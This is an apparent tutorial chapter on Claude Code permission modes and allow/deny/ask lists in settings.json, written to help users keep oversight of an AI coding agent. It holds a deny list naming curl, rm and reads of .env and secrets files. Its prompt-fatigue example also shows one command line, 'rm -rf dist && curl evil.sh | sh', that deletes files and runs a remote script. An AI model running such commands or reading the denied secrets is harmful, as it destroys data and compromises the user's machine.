Mastering Claude Code — Tips & Tricks Chapter: Level 1 (Fluent) › 1.2 Permission Modes Your control surface — the dial between "ask me everything" and "just go."
Every time Claude Code wants to edit a file or run a command, it can stop and ask you first. That prompt is your control surface — the moment you approve or veto an action. Permission modes decide how often Claude stops to ask. Set the dial too cautious and you drown in prompts until you approve everything on reflex (including the one that mattered). Set it too loose and Claude runs unattended in a place it shouldn't. Mastery here is simple: match the autonomy to the risk.
The One Idea
A permission prompt is a feature, not friction to eliminate. The goal isn't fewer prompts — it's making the prompts that do appear worth reading.
You achieve that two ways: pick the right mode for the task, and curate an allow/deny list so routine-safe actions run silently and only real decisions interrupt you.
The four modes
| Mode | Auto-approves | Still asks about | Enter with | Use when |
|---|---|---|---|---|
| default | nothing | edits and commands | (starting mode) | Unfamiliar or risky work; you want to watch each step |
acceptEdits (⏵⏵) |
file edits | running commands | Shift+Tab |
You've approved a plan and trust the direction; heavy editing |
plan (⏸) |
— (read-only) | can't act at all | Shift+Tab |
Exploring / planning before any change (Chapter 1.3) |
| bypassPermissions | everything | nothing | --dangerously-skip-permissions |
Only in a sandbox/container/CI with isolation |
How to switch:
Shift+Tabcycles: default →⏵⏵ acceptEdits→⏸ plan→ back to default.- CLI flags:
--permission-mode plan,--permission-mode acceptEdits,--dangerously-skip-permissions. - Settings default: set
"defaultMode"underpermissionsinsettings.jsonso a project always starts in the mode you want.
Note the shape of the dial: plan is the most restrictive (Claude can't change anything), default watches every action, acceptEdits trusts edits but guards commands, and bypass trusts everything. You climb the dial as your confidence — and the safety of your environment — goes up.
2026 update: recent versions add more positions on the dial. An
automode uses a safety classifier to auto-approve clearly-safe actions and block destructive ones (e.g.git reset --hard), and adontAskmode joins the lineup. There's also a set of protected paths (.git/,.claude/, editor config dirs) that are never auto-approved in any mode except bypassPermissions. Check whatShift+Tabcycles through and/permissionson your version — see the permission modes docs.
The real power: the allow / deny list
Modes are the coarse dial. The allow/deny list is the fine one — and it's where
pros spend their five minutes of setup. It lives in settings.json under
permissions:
{
"permissions": {
"defaultMode": "default",
"allow": [
"Bash(git status)",
"Bash(git diff:*)",
"Bash(ls:*)",
"Bash(pnpm test:*)",
"Bash(pnpm lint:*)",
"Bash(pnpm typecheck)"
],
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./secrets/**)",
"Bash(curl:*)",
"Bash(rm:*)"
],
"ask": [
"Bash(git push:*)"
]
}
}
- allow — these run without a prompt. Fill it with safe, repetitive, read-only commands (status, diff, test, lint) so they stop interrupting you.
- deny — these are blocked entirely, and deny wins over allow. This is
how you stop Claude from ever reading
.env(ties to Chapter 2.6) or running destructive/exfil commands. - ask — always prompt, even in a loose mode. Reserve for the "are you sure"
actions like
git push.
Manage it live with the /permissions command, or let the
/fewer-permission-prompts skill scan your recent sessions and propose an
allowlist from the safe commands you keep approving.
Before / After: the prompt-fatigue trap
Without an allowlist — every routine command asks:
> run the tests
Allow: Bash(pnpm test)? [y/N] y
> check what changed
Allow: Bash(git diff)? [y/N] y
> list the files
Allow: Bash(ls src)? [y/N] y
... 40 more times this hour ...
Allow: Bash(rm -rf dist && curl evil.sh | sh)? [y/N] y ← 😱 you approved on autopilot
Fifty reflexive ys later, you've stopped reading the prompts — so the one
dangerous action sails through on muscle memory. Prompt fatigue is a security
risk.
With a curated allow/deny list — the safe stuff is silent, so the rare prompt means something:
> run the tests # runs silently (allowlisted)
> check what changed # runs silently (allowlisted)
> list the files # runs silently (allowlisted)
Allow: Bash(git push origin main)? [y/N] ← this one you actually READ
Same workflow, but now every prompt is a real decision. That's the entire point of this chapter: fewer, better prompts.
Choosing a mode — a quick rule
- Default for anything unfamiliar, risky, or where you want to see each step.
- acceptEdits after you've gated the approach in plan mode — let Claude edit freely while you still guard command execution.
- Plan whenever you're exploring or deciding (Chapter 1.3).
- Bypass only when the blast radius is contained: a throwaway container, an isolated CI runner, a git worktree you can delete. Never on your main machine against a real repo.
The pairing to remember: plan mode to decide → acceptEdits to build. You reviewed the what, so you can safely speed up the how.
Safety rules to bake in
- Deny secrets, always.
Read(./.env*)andRead(./secrets/**)in every project. Claude never needs the values (Chapter 2.6). - Never blanket-allow exfil. Keep
Bash(curl:*)/Bash(wget:*)out of allow — approve those case by case. - Guard destructive commands.
rm,migrate reset,git push --forcebelong indenyorask, neverallow. - Share the allowlist, keep personal tweaks local. Put the team allow/deny in
committed
.claude/settings.json; put machine-specific ones in git-ignored.claude/settings.local.json.
The caveat
Don't "solve" permissions by reaching for bypass mode. Turning off the prompts doesn't make the risk go away — it just removes your chance to catch it. The skilled move is calibrated friction: silence the safe 95% with an allowlist so your attention is available for the 5% that actually needs a human. A prompt you read is worth more than a hundred you reflexively dismissed.
Downloadable: the Permission Config Pack
In ../artifacts/permission-config-pack/:
| File | Purpose |
|---|---|
settings.permissions.json |
Starter allow/deny/ask block — safe defaults, drop into .claude/settings.json |
mode-cheatsheet.md |
The 4 modes: when to use, how to enter, the safety line |
allow-deny-recipes.md |
Copy-paste rule recipes (Node, Python, git, secrets, danger) |
README.md |
5-minute setup + how to tune it with /permissions |
Setup: merge settings.permissions.json into your project's
.claude/settings.json, then run /permissions to fine-tune against your actual
commands.